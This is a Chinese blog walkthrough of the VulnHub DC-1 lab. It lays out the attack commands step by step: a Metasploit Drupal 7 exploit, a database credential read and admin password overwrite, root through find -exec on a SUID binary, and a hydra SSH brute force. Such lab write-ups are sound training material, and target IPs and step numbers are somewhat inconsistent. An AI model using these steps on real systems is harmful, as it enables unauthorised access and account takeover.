DC-1 通关详解

DC-1 通关详解

一、环境搭建:

1、靶机描述

DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。

根据描述信息我们可以知道本靶场环境总共有5个flag。

2、下载靶场环境

    靶场下载地址:

https://www.vulnhub.com/entry/dc-1,292/

二、渗透靶场

    本环境重在在于如下两个知识点

    Drupal 7  漏洞利用

find  提权

1、目标:

目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24

2、信息收集:寻找靶机真实IP

nmap -sP 1 XXX.XXX.XXX.XXX /24

扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。

本质上是Ping扫描,能Ping通有回包,就判定主机在线。

先看一下kali的地址输入ifconfig

得知kali的地址为192.168.206.130

在输入nmap -sP 192.168.206.0/24

3、信息收集:探端口及服务

nmap -A -p- -v 192.168.206.131

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息

发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务

访问web站点

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

searchsploit  drupal 7

什么是cms

CMS是"Content ManagementSystem“的缩写,意为“内容管理系统"它采用统一的信息组织的方法即分类,对同一类型的信息进行分类,且每一类信息都可以进行新建(Add)、查看(View)、编辑(Edit)和删除(Delete)四种不同的操作。除了使用分类的方式组织信息以外,又采用了统一的用户和权限管理对信息的使用进行控制即构成了一个完整的信息组织和管理的体系。内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市

利用MSF渗透

典型的drupal,启动Metersploit  MSF存在drupal模块,尝试使用msf渗透

1.MSF简单命令介绍

msfconsole 进入MSF控制台

search 搜索相应模块

use            对应模块

show options   查看信息

set RHOST   远程主机ip

run            攻击

3.进入MSF控制台搜索drupal模块

进入MSF控制台msfdb run

搜索drupal模块search drupal

输入search Drupal

4.选择模块进行测试

用2018的测试

5.设置靶机IP运行msf

输入shell

执行whoami

发现是www-data权限

进入home目录,发现flag4.txt文件,提示需要提升权限

9.使用python反弹一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

显示了当前路径

10.发现flag1文件

    查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件

Drupal的默认配置文件为Default.settings.php
在目录sites下面有一个名为default的子目录,里面包含了你的Drupal站点的默认的设置文件---default.settings.php。,Drupal安装器,将会基于你提供的信息来修改这些原始设置,并为你的站点创建-个settings.php 文件。

11.发现flag2

    Drupal的默认配置文件为

/var/www/sites/default/settings.php

  查看文件内容

cat /var/www/sites/default/settings.php

    发现了flag2和数据库的账号密码

flag2提示,提升权限为root来查看敏感文件

   我们先进入数据库查看

'username' => 'dbuser',

'password' => 'R0ck3t',

mysql -u dbuser -p

    查看数据库,切换到drupaldb数据库

先输入mysql -u dbuser -p 在输入R0ck3t进入mysql

 查看查找默认的Drupal user 表

select * from users;

    发现admin信息

 解决方法:置换drupal密码

进入www目录

quit;

站点路径下执行

php scripts/password-hash.sh 新密码

然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库

mysql -u dbuser -pR0ck3t

use drupaldb

将pass字段进行替换

update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";

12.登录站点

    访问站点

    进行登录,密码是之前我们自己替换的,账号是admin

admin

123

成功登录

13.发现flag3

    登陆战点之后,随便翻一番,发现flag3,

http://192.168.66.140/node#overlay=admin/content

    点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

大致意思是提权并提示 -exec,想到suid提权 find 命令

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

​ 在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

​ 利用此特性,我们可通过SUID进行提权

    使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

发现find命令

    使用命令测试,发现为root权限

touch  963

ls

find / -name 123 -exec "whoami" \;

14.发现最后的flag文件

    我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find ./ -name 666 -exec "/bin/sh" \;   

whoami

ls

cd /root

ls

    查看cat thefinalflag.txt文件

cat thefinalflag.txt

   文件内容如下

Well done!!!

干得好!

Hopefully you've enjoyed this and learned some new skills.

希望你已经享受了这一点,并学到了一些新的技能。

You can Let me know what you thought of this little journey

你可以告诉我你对这段小旅程的看法

by_ contacting me via Twitter

通过twitter联系我

QDCAU7

大致就是说你已经通过了本关卡。

15.发现flag4

 此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破

cat /etc/passwd

可以以得到有一个用户名为flag4

进入john目录cd /usr/share/john

hydra -l flag4 -P password.lst ssh://192.168.66.140

    解释一下:

-l 指定用户名

-P 加载密码字典(自定义)

ssh://ip 指定使用协议和ip地址

SSH连接登录,拿到flag4权限

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值